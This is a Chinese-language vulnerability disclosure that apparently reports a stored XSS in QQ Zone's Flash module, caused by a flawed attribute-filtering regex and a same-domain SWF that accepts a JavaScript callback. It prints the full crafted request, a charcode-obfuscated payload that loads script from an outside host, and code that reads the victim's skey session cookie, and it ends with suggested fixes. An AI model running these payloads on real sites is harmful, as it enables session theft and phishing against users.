點評:QQ空間的新型漏洞我們再試試
1. QQ空間某處正則混亂,導致惡意構造。
2. QQ空間某文件存在潛在風險
3. 1+2 = 此漏洞
詳細說明:
1. 一開始的目標是這個http://b.qzone.qq.com/cgi-bin/custom/modify_custom_window.cgi,這個頁面是用來修改QQ空間模塊內容的。這裡我選擇提交的是FLASH模塊。 由於此請求,每請求一次都需要輸入一個驗證碼,所以沒辦法直接在抓包工具裡修改並發送。所以最初是用調試工具去修改DOM屬性,然後寫自定義值來一次一次的試,後來實在覺得太麻煩瞭,就自己臨時寫瞭個小工具。以下測試均用此工具進行,如下,
2. 開始試瞭此請求的幾個參數(這裡的參數是指qzml所發送的xml裡的若幹屬性,例如width, height ,wmode etc ..),都被過濾瞭, 後來懶麼,就把能寫入內容的都改成瞭’\/<>..,結果側漏瞭。。
測試的qzml請求參數大概是這樣:encodeURIComponent(‘<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=http://files.jb51.net/file_images/article/201206/20120531120436664.gif.swf" _fcksavedurl="http://files.jb51.net/file_images/article/201206/20120531120436664.gif.swf"" _fcksavedurl="http://files.jb51.net/file_images/article/201206/20120531120436664.gif.swf"" width="\’\/<>" height="\’\/<>" loop="\’\/<>" waitforclick="\’\/<>" wmode="\’\/<>"/></div>’.replace(/\s/g,"+")).replace(/%2B/g,"+");
側漏效果大概如下:(反正是類似這個效果,懶的回去抓圖瞭。)
3. 開始分析側漏原因。 發現height屬性把其它屬性都吞掉瞭。 於是其它參數復原,單個測試height,在height裡加入單引號時, 服務器端的正則貌似就凌亂瞭。 同樣有此現象的還有swfsrc 。
因為服務器那邊是怎麼匹配的,不清楚, 於是就開始各種構造測試,看服務器端輸出。
反正測試瞭挺久。 具體就不詳述。 因為服務器端輸出的embed標簽裡,總是帶著allowscriptaccess="never",導致我們調用的FLASH來執行腳本,所以最終目的,就是想用height來屏蔽掉allowscriptaccess="never" 。
測試過程中,出現瞭以下幾種阻礙。
3A. allowscriptaccess="never" 成功被我們的height 吞掉, 但是src屬性沒瞭。服務器端輸出如下代碼:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height=’ src=http://ctc.qzs.qq.com/ac/c.gif.swf _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="’ type="application/x-shockwave-flash" width="’" src="" invokeurls="false" scalemode="noScale" allowscriptaccess=’always"’ embed="embed" menu="false"></div>
3B. 自己添加瞭src 屬性, 但是發現服務器端又自己加上瞭allowscriptaccess="never" 。。糾結瞭。服務器端輸出如下代碼:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height="/<> src=http://ctc.qzs.qq.com/ac/c.gif.swf" width=’&"34;src = http ‘ src="/c.swf" allowscriptaccess="never" allownetworking="internal" invokeurls="false" autostart="true" menu="false"> autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="opaque" type="application/x-shockwave-flash" scaleMode="noScale" ></div> www.jb51.net
4. 對於各種無厘頭,有時候還是要靠運氣。 在3B的代碼基礎上,偶然發現,如果src屬性裡加瞭\’,就不會出現問題。 所以我們構造src地址為/c.swf?1=\’\’\’, 這樣就不會出現allowscriptaccess參數瞭。
5. 但是問題接著來瞭,大傢都知道,allowscriptaccess 默認是sameDomain的,哪裡去找同域下的FLASH啊。 巧合的是,還真有一個可以用的。 在抓包QQ空間的時候,瞥見這麼一個FLASH,
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange
我一瞧, 後面這個QZONE.frontPageAccessory.zoomDetect.onZoomChange 不就是個JS函數麼。 於是試瞭一下。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
果然可以彈出啊。 這樣看來,我們可以利用下。 不過這個ctc.qzs.qq.com 和 模塊的ctc.qzonestyle.gtimg.cn 還是不是一個域啊, 但是運氣好,恰好, 這2個域名,貌似資源文件是一樣的,或者有部分是一樣的?ctc.qzonestyle.gtimg.cn 下面也有該FLASH文件。 如下:
http://ctc.qzonestyle.gtimg.cn/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
6. 所以,我們最終可以構造出FLASH的src為
/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\’\’\’\’
其中,前面是FLASH地址,onchange參數調用我們自己函數,1=\’\’\’\’ 是為瞭屏蔽掉allowscriptaccess="never"
7. 上面這個地址我們簡寫為{SWFURL}, 它是位於height屬性裡的,如下
height=""\’/\< src={SWFURL} style=width:/ >"
8. = = 寫不下去瞭。。 直接上最後的測試代碼。 有點亂。。有些是測試殘留,沒實際意義,比如裡的&"34; 這種。。
"qzml":encodeURIComponent(‘<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=http://files.jb51.net/file_images/article/201206/20120531120436664.gif.swf\’ ALLOWSCRIPTACCESS autostart=true\’\"\u0009src\u0013=/c.swf / < >" width="&"34;src = http " height=""\’/\< src=/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\’\’\’\’ style=width:/ >" loop="true" waitforclick="true" wmode=""/></div>’.replace(/\s/g,"+")).replace(/%2B/g,"+")
9. 上面代碼會調用我自己的網站的JS。 在調用JS這一步,
目測IE 應該是通殺吧?IE6沒試過。vista+IE7, win7+IE8,9 是可以的。
Chrome 也是可以的,ff 下蛋疼瞭,需要給加上type="application/x-shockwave-flash" 才行, 沒去弄,這個屬性應該也是可以加的上的。
10. 到這裡, 可以alert, 可以跳轉。
IE下的alert
Chrome下的跳轉
11. 但是我們親愛的cookies 沒辦法彈出來啊。
原因是,如前所述,模塊的域是ctc.qzonestyle.gtimg.cn ,
而空間的域是qq.com ,沒有辦法跨域獲取cookies。
不過好在,QQ空間開發人員為我們準備好瞭這一功能, 原理就是在當前頁中,嵌入一個和父窗口同域的iframe頁面,來進行通訊。
我們直接調用QQ空間開發人員寫好的庫,來獲取cookies,代碼如下:
QZONE.Cross.Client.getInstance().sendInvoke(‘QZFL.cookie.get’, ‘skey’,function(str){
alert("您的skey是:"+str);
});
效果如下:
需要說明的是: 獲取cookies這一步,IE下有效,chrome 貌似錯誤瞭,粗略看瞭下,對於跨域請求,Qzone開發人員針對HTML5和普通的采用的是不同的方案,在chrome下莫名的悲劇瞭。。 我隻是調用瞭你們開發人員寫的東西,= = 悲劇別找我,哈哈
修復方案:
1. 服務器端在從提交過去的qzml這段XML裡獲取FLASH的屬性時,正則寫錯瞭? 隻是猜測。
2. 目測服務器端驗證qzml是否合法的正則不夠好, 像width, height 這種參數,直接\d{m,n}就可以吧。 貌似width ,height 屬性裡什麼東西都可以寫啊。 隻在客戶端限制width,height輸入框長度為3,沒什麼實際作用的。。其它屬性也一樣,什麼wmode隻需要true|false 即可。
3. 這個http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){location=’釣魚網站’} 單獨就是一個漏洞。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange 這個被利用的flash文件需修改一下。 在FLASH限制一下onchange 參數的值。
作者 gainover